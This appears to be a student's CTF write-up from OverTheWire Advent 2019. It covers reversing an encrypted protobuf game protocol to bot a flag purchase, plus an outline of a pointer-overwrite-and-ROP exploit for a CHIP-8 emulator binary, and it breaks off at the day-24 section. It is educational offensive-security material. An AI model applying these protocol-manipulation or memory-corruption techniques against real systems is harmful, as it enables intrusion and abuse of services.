]> git.somenet.org - pub/jan/ctf-seminar.git/blob - writeups/litplus/otw19.md
fix links
[pub/jan/ctf-seminar.git] / writeups / litplus / otw19.md
1 OverTheWire Advent Bonanza 2019
2 ===============================
3 CTF write-up by Philipp Nowak (litplus, 11776858)
4
5 Overview
6 --------
7 Challenges participated in:
8
9  * day-02: Summer ADVENTure `solved` - 20.75 hours
10  * day-23: Gr8 Escape `unsolved` - 0.75 hours
11  * day-24: Got shell? `solved` `web, linux` - 2.25 hours
12  * day-25: Lost in Maze `solved` `misc` - 16.00 hours
13
14 Total time spent: 39.75 hours + 8 hours for writeups ~> 48 hours total.
15
16 ### Personal Reflection
17 Since the guidelines require that the whole writeup be in a single file, this has been merged by a very sophisticated shell script. The source files for the individual challenges are located in the [`writeups/litplus/otw19`](/writeups/litplus/otw19) directory and match the RegEx `Adv-\d{2}.md`.
18
19 In general, this CTF was very fun and interesting to play! I originally planned to do more work before Christmas, but other courses sadly did not like this idea *at all*. However, Summer ADVENTure was very interesting, so I continued figuring our more and more things. In the end, it ended up eating most of my Christmas break nights, but I think that I learned a lot of new things. I was surprised that I was able to play such a major part in solving three of the challenges. Another great thing was that I got to play around writing non-trivial Python applications, which is something I had wanted to do for some time anyways.
20
21 Cooperation with other team members worked especially well with Suummer ADVENTure, but Gr8 Escape saw nearly zero interest, although this is understandable since the challenge seemed to require a lot of tedious reverse-engineering. I individually didn't feel like I had the correct skill set after taking a closer look.
22
23 ### Note on Materials
24 Sadly, all the challenge servers, including the scoreboard with the challenge descriptions, were taken down before I got to write this. I did not anticipate this extent of take-down, and hence I don't have complete metadata on all challenges. This affects especially the original challenge description, number of solves, and detailed demonstration. Thankfully, I was able to save some screenshots from Summer ADVENTure and the Mattermost channels also had some resources.
25
26 Thankfully, the organisers released source code for all challenges [on GitHub](https://github.com/OverTheWireOrg/advent2019), however most challenges do not have further explanation.
27
28 ---
29
30 day-02 Summer ADVENTure
31 -----------------------
32 OverTheWire Advent 2019, day 2
33
34 Discussion on [Mattermost](https://mattermost.w0y.at/otw-advent-2019/channels/day-02-summer-adventure)
35
36 Full exploit source code on [GitLab](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/tree/master/day-02)
37
38 Time spent for this challenge: 20.75hours + 4 hours write-up
39
40  * December 10: 3.0 hours (21:00-00:00)
41  * December 12: 3.0 hours (00:15-03:15)
42  * December 22: 2.0 hours (22:00-00:00)
43  * December 23: 6.5 hours (00:00-04:00, 17:00-19:30)
44  * December 24: 6.25 hours (00:30-05:30, 06:15-06:30, 13:40-14:10) 
45
46 ### Overview
47 #### Challenge setup
48 We are provided with a website that acts as client to a simple adventure game. Instructions on the site state that we do not have hardware access to client or server, the only exploitation path is by intercepting and manipulating network traffic. The server is running at TCP port 12021, and the client runs in some kind of emulator in the browser.
49
50 On the site, we can either connect to the genuine server, or connect to our own server. This works by connecting a TCP client to port 12022. The server then responds with a server id that we can enter in the browser to complete the connection.
51
52 It seems that this challenge wants to simulate protocol-only access, avoiding usual exploitation paths. The website also states some advice from the challenge author. It is advised not to touch the browser client, as it just streams HTML from a server that handles the actual connection. Further, no insane implementation choices were made, so exploitation should exclusively focus on the protocol.
53
54 To prevent excessive brute-force, the game disconnects after 1 MB of traffic (per side), and a 20-second colldown is enforced between logins. Also, accounts are deleted an hour after their last login.
55
56 #### Gameplay
57 The first thing we see after connecting to either server is a login screen. We can create an account by providing a username and password. The username has to be between 4 and 16 characters, the password between 4 and 256.
58
59 ![Login screen](otw19/02-login.png)
60
61 After logging in, a map is presented. Movement is possible via WASD keys.
62
63 ![Map](otw19/02-map.png)
64
65 Upon moving to the same square as a monster, a fight starts, where health points are deducted in rounds. Upon winning, the player gains EXP and coins. A health potion can afterwards be used to restore the player's health to the maximum. The maximum depends on the player's level, which is increased by gaining EXP.
66
67 ![Fight](otw19/02-fight.png)
68
69 The weird entity above the player at the start is their stash. It allows to store excess items, which is helpful because inventory size is limited.
70
71 ![Stash view](otw19/02-stash.png)
72
73 The other entity inside of the fence is a salesperson. Upon approaching them, a shop GUI opens that allows to buy items for gold. For a huge amount of coins, a "Scroll of Secrets" is offered. This seems like the path to obtain the flag.
74
75 ![Shop view](otw19/02-shop.png)
76
77 ### Exploitation
78 **Note:** For brevity, full listings are omitted due to their complexity. Full exploit scripts are available in GitLab, linked above.
79
80 #### Basic protocol structure
81 `@mli` on Mattermost started looking at the protocol. They created a proxy and discovered that responses depend solely on the input (i.e. no reandomised cryptography). Newlines are sent in plain text, suggesting some kind of atomic unit, e.g. packets between them. They further discovered that there is some var-length string encoding involved -- changing the length of the password significantly also affects other bytes.
82
83 The next day, `@georg` implemented a basic MITM proxy to recover more information about the protocol. Upon analysis, he discovered that the initial 16 bytes that the server sends are used as XOR key, affecting the responses. However, this is not directly used as a key. As a consequence, he suggested using varying passwords to recover the actual key stream.
84
85 Six days later, I started working on the challenge. Every game message is preceded by another two-byte message, which we initially suspected to be some kind of packet id or key rotation mechanism.
86
87 I extended `@georg`'s server to store traces in a different format and wrote [a Python program](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/f4c3df3c62066b87ad2ee47ee48fd4a4908f07ba/day-02/crypt_test.py) to parse those.
88
89 What this program does is load connection traces stored by the MITM server and play with them. For this, [`common.py`](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/common.py) provides two models that are parsed from the binary/base64 data: `ConnectionTrace` and `TracePacket`. The former keeps trace of the current offset in the stream (crucial for the key schedule) and all packets of the trace. The latter represents a packet and provides operations to get different representations of the ciphertext.
90
91 After playing around with captured traces for some time, a pattern emerged: XOR'ing two traces yields the contents of the initial 16-byte message. I was confused for some time because I did not recognise the packet header to be part of the ciphertext. After including this, the pattern was clearly visible. Normally, with deterministic encryption, one would expect the XOR's of two packet traces to yield zero. Here, it becomes obvious that the 16-byte packet is a dynamic key used in the encryption and the rest is static.
92
93 Hence, we can obtain a consistent result by XOR'ing the binary stream with the dynamic key. I added this to the analysis program to recover the encoded message, as I thought at the time.
94
95 `@georg` however suggested that another key stream was XOR'ed to the encoded message, explaining why the encoding has no obvious correlation with the actual plaintext, even when using all A's as password. He was able to recover around 256 bytes of this *auxilliary key* by using known input, however some bytes were still off because of the unknown encoding. However, he was able to discover that the same key schedule is (independently) used for clientbound messages, recovering the promising plaintext `b'NB[\xd63\x1bInvalid password.'`.
96
97 After also adding this auxilliary key to the analysis script, it finally displayed plaintext (at least until the key ends). I also included this in the client directly to save the intermediate step, which made analysis easier. `@georg` suggested simply increasing the money in the join packet, which I tried. Some of the values from the UI are clearly reflected in the plaintext, including the amount of coins.
98
99 Changing the byte value however resulted in weird behaviour. When changing from `0x51` (81$) to `0xFF` resulted in $70 being displayed in the client. This hints at integer being encoded in the protocol. Further, changing other game properties that are reflected earlier in the binary stream shifts the location of the money byte. All this hints at some variable-length encoding of numbers.
100
101 We tried to reverse-engineer this encoding for some time. We also realised that we can't change the packet length -- this would desynchronise the client's key schedule from the server. A full MITM decryption was not feasible because we did not have enough key material to decrypt and therefore forge the whole join packet.
102
103 Utlimately, changing the money in the protocol did not work, because money is tracked server-side (as suggested by the challenge description). The server sends its state with every operation that affects coins, i.e. after fights and purchases.
104
105 Latery, `@georg` discovered that the number format corresponds to [a common VarInt format](https://en.wikipedia.org/wiki/Variable-length_quantity). `@Hetti` poked some sticks at the protocol to figure out where certain values are reflected. He also had the idea of executing the same action repetedly on the client to recover a longer auxilliary key stream. (This works because client and server use the same key but an independent schedule.)
106
107 Applying this to the client, I was able to recover around 4KB of key stream. I tried to replace some packets, namely the fight request. This however did not allow money gains, as only monsters actually present in the game are accepted by the server. Monster levels are related to player levels. There is always a monster with the same level present.
108
109 #### Packet models
110 Looking for a VarInt decoder online, I stumbled upon one for [Google's protobuf libarary](https://developers.google.com/protocol-buffers/docs/encoding). It worked, but the important catch was protobuf, which is a framework to encode objects into binary streams -- exactly the kind of thing one would use to encode packets that are reused by both peers.
111
112 Using [the discovered online protobuf parser](https://protogen.marcgravell.com/decode), I was able to correlate the binary stream to model-level packets. For example, the join packet has a structure of:
113
114 ```
115 * (1) varint: 1
116 * (2) object
117   * (1) varint: level 4
118   * (2) varint: exp 319
119   * (3) varint: exp-max 400
120   * (4) varint: weapon-strength 4
121   * (5) varint: health 280
122   * (6) varint: health-max 280
123   * (7) varint: coins 220
124 * (3) object
125   * (2) object:
126     * (2) varint: 10
127     * (4) object:
128       * (1) varint: 2
129       * (2) varint: 1
130       * (3) ???
131     * (4) object, repeated:
132       * (1) varint: 2
133       * (3) ???
134   * (2) object, repeated: ...
135 * (3) object, repeated: ...
136 * (3) object, repeated: ...
137 ```
138
139 Now, the idea was to reverse-engineer the entire protocol and have our client connect to the server independently of a browser. With this and a long-enough auxilliary key, we could bot the game, obtain the required money, and buy the flag.
140
141 I recovered [most of the packet models](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/Packet_Format.md) Next up, we needed a longer XOR key so taht we can reliably bot the server without having to reconnect too often. `@Hetti` helped me realise that it's easy to bot a login failure. This doesn't require and setup and in the browser is only a button. To do this, I simply hid the error dialog using `display: none;` and was able to click the login button repeatedly. This recovered 39 KB of auxilliary key. For this, I used [a specialised MITM server](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/recover_aux_server.py).
142
143 I estimated that with this key, we would be able to do around 500 fights (with a 64 byte response) before exhaustion. Expecting constant reward of 10 coins, that results in 5000 coins per session -- including the timeouts, this was expected to take around 11 hours. What I  did not think of here is that the size of the key file refers to base64 text, i.e. the actual key size is smaller.
144
145 Later that day, I was able to convert the packet information we obtained thus far [into protobuf model format](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/packets.proto). This can be compiled into Python models using the protobuf compiler. On Arch Linux, it can be installed using `pacman -S protobuf`. Then, running `protoc --python_out=. packets.proto` generates [the models](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/packets_pb2.py) in the current directory.
146
147 With this, the client now produced output of this readable form:
148
149 ```
150 join {                                                                                      
151   success: true                                                                             
152   state {                                                                                   
153     level: 1                                                                                
154     expMax: 100                                                                             
155     weaponStrength: 1
156     health: 220
157     healthMax: 220
158   }
159   inventories {
160     items {
161       type: MAGICAL_POTION
162       unknownHealRelated: 100000
163       prices {
164         unknownConstant: 2
165         isBuy: true
166         value: -10
167       }
168 ...
169 ```
170
171 The way packets are represented is by a huge meta-packet that has a field for every packet. Only the packet that is used is filled, all other fields are left unset.
172
173 Just adding the `Scroll of Secrets` to the client-side inventory did not do the trick though, since the "Use" operation is processed server-side. Using the scroll while in the shop inventory didn't work either, the server just disconnects.
174
175 Finally, the last puzzle piece for full botting was the packet header. This turned out to be the length of the body, but little-endian 🙄.
176
177 #### The fight bot
178 In [the initial state of the fight bot](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/a629482bb9547dbfb6364c09ca74f0505c8649eb/day-02/fake_fight_server.py) we were now able to forge a full fight and have the server respond. The next challenge was that we need to wait for the server response before sending the next request apparently. This significantly increases the time necessary, because the server takes ~400ms RTT to process the request. Also, due to the asynchronous nature of the client, this needed some architecture changes in the exploit.
179
180 The first thing I did here was to represent the player state, that is sent on join and after every fight, in a readable manner. This allows to see what the bot is doing. I also wrote some code to forge packets from models using protobuf and the key schedule information stored in `ConnectionTrace`.
181
182 The main logic of the bot is located in [`handle_response`](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/bc23a28eb375f676975b5f34196ddd67fdff79de/day-02/fake_fight_server.py#L95). This takes a packet from the server. If it has a message set, it is displayed (important because this is how the flag is sent).
183
184 After a join packet, the client analyses the player inventory to find the location of the health potion. This is necessary to recover to full health after a fight. Then, it starts a fight. This takes into account the player level. Through trial and error, it has surfaced that the highest monster that can be fought is the player level plus two. Also, rewards scale up with the monster level, which reduces the time required to get the scroll.
185
186 After receiving a fight response, we first check if it succeeded. If not, we use the health potion. Otherwise, we continue with the next one. For a use packet, we start a fight since we just had a health potion.
187
188 Later, I also added [a mechanism](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/fake_fight_server.py#L287) to initiate a new connection once the key is exhausted or the server disconnects. 
189
190 Note that for this to work with higehr levels, at some point, stronger weapons need to be bought manually using the genuine server.
191
192 I later discovered that we can fight more efficiently by [setting both the fight and potion-use packets in a single request](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/fake_fight_server.py#L161). This reduces the amount of requests we need to send, which is a great deal beacause the main limiting factor on performance is the network RTT for every request (not the processing of packets). Conveniently, the server only includes the fight packet in the response in this case, which saves us some special handling.
193
194 ![Bot output](otw19/02-bot.png)
195
196 To estimate the amount of time required to bot the game, I used [a GeoGebra file](https://www.geogebra.org/graphing/tusewwdw) to find the relation of player/monster level to coin gain. Factoring in response times, cooldown times and level increase, I created a formula to estimate the time left. This revealed that a huge amount of cooldown time (5 hours) is caused by our short key.
197
198 Hence, I made an effort to recover a longer key. For this, I used the same mechanism as before, but additionally a small piece of JavaScript in Chrome DevTools to automate clicking the login button:
199
200 ```
201 const loginButton = document.getElementsByClassName("login")[0];
202 window.setTimeout(100, () => loginButton.click());
203 ```
204
205 This quickly yielded 200 MB of key stream, which helped reduce cooldown times significantly.
206
207 After some waiting, we reached the required 10 million coins:
208
209 ```
210  * Level 1406 [20070/140600] 🗡️ 1406 [❤️ 4299/28320] 💰10021605 +💰432.
211 ```
212
213 Connecting to the genuine server and buying the Scroll of Secrets yielded the following message:
214
215 ```
216 Congratulations! Here is the server-side flag: _is_f0R_Th3_13373sT} The client-side flag is clearly written on a piece of paper that was lost by the shopkeeper some time ago. If only you could find it...
217 ```
218
219 #### Client-side flag
220 While reversing the protocol, I noticed that item id 7 was not used. This seemed like the perfect use-case for that information. Indeed, [adding this item to the inventory](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/client-side-flag.py) caused the client to reveal its part of the flag in the item description:
221
222 ```
223 Mystery Letter
224 A letter which reads: 'Here is the client side flag: AOTW{B14ckbOx_N3tw0rK_r3v
225 ```
226
227 This completes the flag to: `AOTW{B14ckbOx_N3tw0rK_r3v_is_f0R_Th3_13373sT}`. Yay!
228
229 ### Intended Solution
230 As `@Hetti` revealed in Mattermost, the intended solution was to use an item duplication bug, as was done by SIGFLAG. `@Felix Kehrer` suspected such a bug, but we discarded this idea too fast.
231
232 The way this bug worked was that the server accepted a list of inventories as move target. So, the player was able to move a single item to two inventories at the same time, duplicating it. This can be repeated to obtain expensive items, which have a very large value margin, yielding funds for the flag quickly. I created a [Proof of Concept server](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-02/dupe_server.py#L117), which duplicates items reliably. Those can be sold in the real client, but I wasn't able to get it to work automatically (probably some dumb mistake). However, we already had the flag at this time, so I did not put in further effort.
233
234 Possibly related, in the [suggested solution](https://github.com/OverTheWireOrg/advent2019/tree/master/advent-challenges/2019-12-02_rev3/solution), the bug is described as moving from an inventory to itself.
235
236 Also, the constant auxilliary stream we assumed is not quite correct. The [actual implementation](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-02_rev3/common/EncryptedStream.cs) uses AES in ECB mode. However, this amounts to the same behaviour as we assumed and is also the suggested solution.
237
238  ---
239  
240 day-23 Gr8 Escape
241 -----------------
242
243 OverTheWire Advent 2019, day 23
244
245 Statements on [Mattermost](https://mattermost.w0y.at/otw-advent-2019/channels/day-23-gr8-escape)
246
247 Time spent for this challenge: 0.75 hours + 2.5 hours write-up
248
249  * December 24: 0.75 hours (05:30-06:15)
250
251 ### Overview
252 For this binary challenge, the description contained one (1) funny comic related to the challenge. It seems that the elves created some kind of game in C++ that we need to reverse and extract the flag from.
253
254 ![Elves make Christmas toys, comic](https://mattermost.w0y.at/files/kbyt9uw7opncfqy4tyo9x1ogmc/public?h=PAVYjFNKSNs8V0JSGrStUyv8hrM2ZSpGpK2yOZ0tCvM)
255
256 A TCP service was provided at `nc 3.93.128.89 1223`. Upon connecting, it shows a banner and presents a prompt:
257
258 ![Gr8 Escape banner and "game:" prompt](otw19/23-start.png)
259
260 It is not clear how the game should continue from there on. Entering random strings does not seem to do anything. However, the 900 KB executable for the server is provided, so it seems that reverse-engineering is expected.
261
262 ### Exploitation
263
264 `@Bernhard Neumann` on Mattermost started looking at the challenge. He decompiled the game using the [Snowman](https://github.com/yegord/snowman/tree/v0.1.3) decompiler. This resulted in a 270k line C++ file, which is quite a lot to analyse with debug symbols stripped.
265
266 The first thing I did was try to input a lot of `A`s into the application. Sometimes, it did this:
267
268 ![blank screen with some kind of frame](https://mattermost.w0y.at/files/dk7z9zmawi8m5mjts6rjga9s9h/public?h=F0IifdSufQcIDBTSH8iVcI2LhXfz6dMbI9PoJ08daVc)
269
270 However, this was not always reproducible and also did not lead anywhere.
271
272 After downloading the Snowman decompiler from the AUR (`yay -S snowman`), I ran it. The decompiler presents a GUI. Upon import of the binary via `File -> Open`, it shows the assembly instructions on the left. After some time, it also presents decompiled C++ in the center and a context inspector (with variables, etc.) on the right.
273
274 The yielded a huge C++ file with huge unintelligible functions along the lines of this:
275
276 ```
277  uint64_t rcx89;
278     void** rax90;
279     uint64_t rax91;
280
281     rsp4 = reinterpret_cast<void*>(reinterpret_cast<int64_t>(__zero_stack_offset()) - 8 - 8 - 8 - 8 - 8 - 8 - 0x198);
282     v5 = rdi;
283     rax6 = g28;
284     v7 = rax6;
285     v8 = reinterpret_cast<void**>(reinterpret_cast<uint64_t>(rsp4) + 15 & 0xfffffffffffffff0);
286     if (!rsi || (r13_9 = rsi, rbx10 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(rsi)) & 0xfffffffffffffffe), rbx10 == 0)) {
287         addr_44d6f4_2:
288         *reinterpret_cast<int32_t*>(&rbx10) = 0;
289         *reinterpret_cast<int32_t*>(&rbx10 + 4) = 0;
290     } else {
291         r15_11 = rdx;
292         rax12 = rbx10;
293         *reinterpret_cast<int32_t*>(&r14_13) = 0;
294         *reinterpret_cast<int32_t*>(reinterpret_cast<int64_t>(&r14_13) + 4) = 0;
295         v14 = 40;
296         while (rsi15 = *reinterpret_cast<void***>(rax12), r12d16 = *reinterpret_cast<int32_t*>(&r14_13), rsp17 = reinterpret_cast<int64_t*>(reinterpret_cast<uint64_t>(rsp4) - 8), *rsp17 = 0x44d6b5, eax18 = reinterpret_cast<int32_t>(r15_11(v5, rsi15, rdx)), rsp4 = reinterpret_cast<void*>(rsp17 + 1), r10d19 = eax18, !!eax18) {
297             rbx20 = reinterpret_cast<void**>(r14_13 * 8);
298             if (v14 == *reinterpret_cast<int32_t*>(&r14_13)) {
299                 v14 = v14 + 20;
300                 rdx = rbx20;
301 ```
302
303 To make matters more interesting, the program also includes numerous blocks of raw assembly instructions like this:
304
305 ```
306     if (*reinterpret_cast<uint32_t*>(&rcx6) <= 48 && *reinterpret_cast<uint32_t*>(&rax7) <= 48) {
307         __asm__("movlpd xmm1, [rdi]");
308         __asm__("movlpd xmm2, [rsi]");
309         __asm__("movhpd xmm1, [rdi+0x8]");
310         __asm__("movhpd xmm2, [rsi+0x8]");
311         __asm__("pxor xmm0, xmm0");
312         __asm__("pcmpeqb xmm0, xmm1");
313         __asm__("pcmpeqb xmm1, xmm2");
314         __asm__("psubb xmm1, xmm0");
315         __asm__("pmovmskb edx, xmm1");
316         if (*reinterpret_cast<int32_t*>(&rdx) - 0xffff) 
317             goto 0x42b010;
318         if (rdx <= 16) 
319             goto 0x42b024;
320     }
321 ```
322
323 Obviously, this would be very tedious to analyse. I started to take a look anyways. What I wanted to do is analyse the control flow to figure out if I can spot any patterns and reconstruct the business logic. The first thing to look at was the entry point for the application. However, the program does not include a function `main` (the name was probably changed). Also, there is no function taking `char**` and `unit32_t` as arguments, as one would expect from a main function.
324
325 So the next viable path was to identify the location via the outputs. The game outputs "game:" at the beginning, which I searched for in the code. Indeed, this is used in the speakingly-named `fun_40208d(rdi, rsi, rdx, rcx, r8, r9, a7)` around line 4100:
326
327 ```
328 uint32_t fun_40208d(void** rdi, void** rsi, void** rdx, void** rcx, void** r8, void** r9, int64_t a7) {
329     void** rax8;
330     void** v9;
331     void** rax10;
332     int32_t v11;
333     int32_t v12;
334     uint32_t ecx13;
335     uint32_t eax14;
336
337     rax8 = fun_421e80(0x1000);
338     v9 = rax8;
339     if (v9) {
340         fun_4117a0("game: ", rsi, rdx, rcx, r8, r9);
341         rax10 = fun_44bf60(0, v9, 0xe00, rcx, r8);
342         v11 = *reinterpret_cast<int32_t*>(&rax10);
343         if (v11 > 0) {
344             if (v11 <= 0xe00) {
345                 v12 = 0;
346                 while (v12 < v11) {
347                     ecx13 = *reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(v9) + reinterpret_cast<uint64_t>(static_cast<int64_t>(v12)));
348                     *reinterpret_cast<signed char*>(v12 + 0x200 + 0x6dbd4a) = *reinterpret_cast<signed char*>(&ecx13);
349                     ++v12;
350                 }
351                 eax14 = 1;
352             } else {
353                 eax14 = 0;
354             }
355         } else {
356             eax14 = 0;
357         }
358     } else {
359         eax14 = 0;
360     }
361     return eax14;
362 }
363 ```
364
365 From the different return values in `eax14`, it seems that this function somehow decides if a game should be started. If we knew where these variables come from, it could be possible to influence them and cause a game to start.
366
367 The string constant is passed to `fun_4117a0`, a 700-line function containing various assembly instructions, deeply nested if statements and around 100 variables -- too much to exhaustively analyse manually.
368
369 Another interesting call is to `fun_44bf60`. which is assigned to `rax10`, which is then cast to yield `v11`. If this is greater than zero and `v11` is less than `0xE00`, the function returns `1`. Hence, this could be interesting to influence the result. However, the function just executes a syscall, with arguments probably prepared in registers from elsewhere.
370
371 This didn't seem like a job for somebody that has never written C++, and other challenges seemed more promising, so I quit working on this challenge at that point. nobody else ever mentioned it again.
372
373 ### Intended solution
374 The challenge files were published [on GitHub](https://github.com/OverTheWireOrg/advent2019/tree/master/advent-challenges/2019-12-23_gr8_escape) after the contest. The application was run in Docker using `inetd`. After the fact, I took a look at the source code to recover the intended solution. The results of this are described in this section.
375
376 The [actual C code for the challenge](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c) was only 720 lines. It seems that the remaining functions were from statically-linked libraries. The function we found above, [`bool load()`](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L536) actually just read from STDIN into an array. If nothing was read or more than `0xE00` bytes were read, the game exits. Also, the input was stored in the `cpu` array.
377
378 Judging from the [`void cycle()`](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L153) function in the source, the game seems to simulate a CPU that is controllable via keyboard instructions.
379
380 The `cpu` struct contains a `debug` function pointer, that can be [executed](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L518) after each screen draw by sending a [special instruction](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L482), `0x75`. This pointer is initially set to [`debug_registers`](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L590), which shows the current state of the CPU registers.
381
382 From [`int main(int argc, char *argv[])`](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L706), we obtain that the game loops indefinitely. After input keys are read and stored into the `cpu.k` array, the CPU executes for ten cycles and, if requested, the GPU draws. Then, it sleeps for some time and reads the next instruction.
383
384 Also, the [wrapper script](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/files/redir.sh) causes execution to time out after 6 minutes.
385
386 A [`highscore`](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L579) function is provided that has a buffer overflow on the `name` variable, which has 10 characters allocated, but no bounds checks are done while reading. The intended solution is probably to invoke this buffer overflow and do something along the lines of ROP to get arbitrary code execution and read the flag. However, this function is never explicitly called in the code. The CPU instructions also don't invoke any explicit function pointers.
387
388 The only dynamic pointer invocation in the program is the debug pointer from the CPU struct. The different CPU instruction provide ways to write to different locations there. Probably one of these has an out-of-bounds write that allows to overwrite the debug pointer with the address of the `highscore` function. This is then called after drawing, yielding arbitrary code execution via ROP. For the 900 KB binary, it seems likely that some useful ROP gadgets would be avilable.
389
390 Another weird concept of the game is that a [ROM for Space Inveaders](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/roms/space.invaders.ch8) is provided. However, this is not explicitly loaded anywhere. It is possible that this is just an example for what can be done with this CPU. The "game" input from the start is just written to the CPU memory `cpu.m`, and this includes a bounds check.
391
392 The `cpu.m` array is only ever indexed from `cpu.i` variable (i.e. this seems to be the memory address register). This can be set via the [`0xa` operation](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L337). The CPU operation is determined [by the first nibble of the program bytes](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L159), which is then switched on.
393
394 CPU instructions: (retrieved from [this `switch`](https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-23_gr8_escape/src/gr8_escape.c#L159))
395
396  * `0x0---`: compound
397    * `0x0-00`: SYS -- does nothing
398    * `0x0-E0`: CLS -- clear screen and draw
399    * `0x0-EE`: RET -- decrement stack pointer, jump to previous location.
400  * `0x1***`: JP -- set program counter to `***`.
401  * `0x2***`: CALL -- push current address to stack, jump to `***`
402  * `0x3*~~`: SE -- if `cpu.v[*]` is `~~`, `pc+=4`, otherwise `pc+=2` (conditional)
403  * `0x4*~~`: SNE -- same as SE but with not-equal
404  * `0x5*~-`: SE -- compares `cpu.v[*]` to `cpu.v[~]`, otherwise like SE
405  * `0x6*~~`: LD -- loads constant `~~` to `cpu.v[*]`
406  * `0x7*~~`: ADD -- Adds `~~` to `cpu.v[*]`, overflow bit in `cpu.v[F]`.
407  * `0x8---`: register operations
408    * `0x8*~0`: LD -- from `cpu.v[~]` into `cpu.v[*]`
409    * `0x8*~1`: OR -- `cpu.v[~]` into `cpu.v[*]`
410    * `0x8*~2`: AND -- `cpu.v[~]` into `cpu.v[*]`
411    * `0x8*~3`: XOR -- `cpu.v[~]` into `cpu.v[*]`
412    * `0x8*~4`: ADD -- `cpu.v[~]` into `cpu.v[*]`, overflow bit in `cpu.v[F]`
413    * `0x8*~5`: SUB -- `cpu.v[~]` into `cpu.v[*]`, underflow bit in `cpu.v[F]`
414    * `0x8*-6`: SHR -- shift `cpu.v[*]` right, underflow bit in `cpu.v[F]`
415    * `0x8*~7`: SUBN -- subtract `cpu.v[*]` from `cpu.v[~]` into `cpu.v[*]`, overflow bit in `cpu.v[F]`
416    * `0x8*-8`: SHL -- shift `cpu.v[*]` left, overflow bit in `cpu.v[F]`
417  * `0x9*~-`: SNE -- with two registers
418  * `0xA***`: LD -- load `***` into memory address register
419  * `0xB***`: JP -- set program counter to `***` plus `cpu.v[0]`
420  * `0xC*~~`: RND -- generate random number, and with `~~`, and load the result into `cpu.v[*]`
421  * `0xD*~#`: DRW -- draw `#` lines (width 8) onto the screen at `(cpu.v[*], cpu.v[~])`, reading pixels from memory relative to the memory access register, starting at its address and increasing by one for each line. Drawing works by XOR'ing in the graphics buffer, i.e. toggling pixels. `cpu.v[F]` stores if any pixel was turned off.
422  * `0xE---`: skips
423    * `0xE*9E`: SKP -- if a key was pressed at time `cpu.v[*]`, jump over the next instruction
424    * `0xE*A1`: SKNP -- like SKP, but negated
425  * `0xF---`: compound
426    * `0xF*07`: LD -- load DT into `cpu.v[*]`
427    * `0xF-0A`: LD -- jump over as many instructions as keys were pressed.
428    * `0xF*15`: LD -- load `cpu.v[*]` into DT
429    * `0xF*18`: LD -- load `cpu.v[*]` into ST
430    * `0xF*1E`: ADD -- Increment memory address register by `cpu.v[*]`
431    * `0xF*29`: LD -- load `cpu.v[*] * 5` into memory address register
432    * `0xF*33`: LD -- divide `cpu.v[*]` by 100. Load the result into the memory address. The next address has the remainder divided by 10, and the address after that gets the remainder of division by 10.
433    * `0xF*55`: LD -- Vector memory write. Read from all registers up to `*` and write the results starting at the address stored in the memory address register. (**No bound checks**)
434    * `0xF*65`: LD -- Vector memory read. Read starting at the address stored in the memory address register, and write into the registers up to `*`.
435    * `0xF-75`: Activate debug flag, i.e. call debug function pointer after draw
436    
437  
438  From this, it becomes obvious that this is a 16-bit CPU. `cpu.v` represents 16 registers and `cpu.m` is the main memory with size `0x1000`.
439
440 Hence, it seems that the full intended exploit is:
441
442  * Fill the registers with the address of `highscore()`.
443  * Use `0xF*55` (Vector memory write) to overwrite the debug function pointer with the registers' contents.
444  * Use `0xF-75` to enable debug mode.
445  * Clear the screen to force drawing using the `0x0-E0` instruction.
446  * Debug function executes, calling `highscore()`. We have now exited the virtual CPU.
447  * Use a ROP syscall with the name input to read the flag from the `flag` file.
448  
449 It seems that (a) it is a good thing I quit trying, because I would never have figured all that out in this little time and (b) when decompiling C using Snowman, the resulting code hides the actual program's functionality by being too complicated (compiler optimisations) and including statically linked libraries.
450
451 Also, the C++ hint from the comic in the challenge description was misleading.
452  
453 ---
454
455 day-24 Got shell?
456 -----------------
457 OverTheWire Advent 2019, day 24
458
459 Discussion in [Mattermost](https://mattermost.w0y.at/otw-advent-2019/channels/day-24-got-shell)
460
461 Time spent for this challenge: 2.25 hours + 0.5 hours write-up
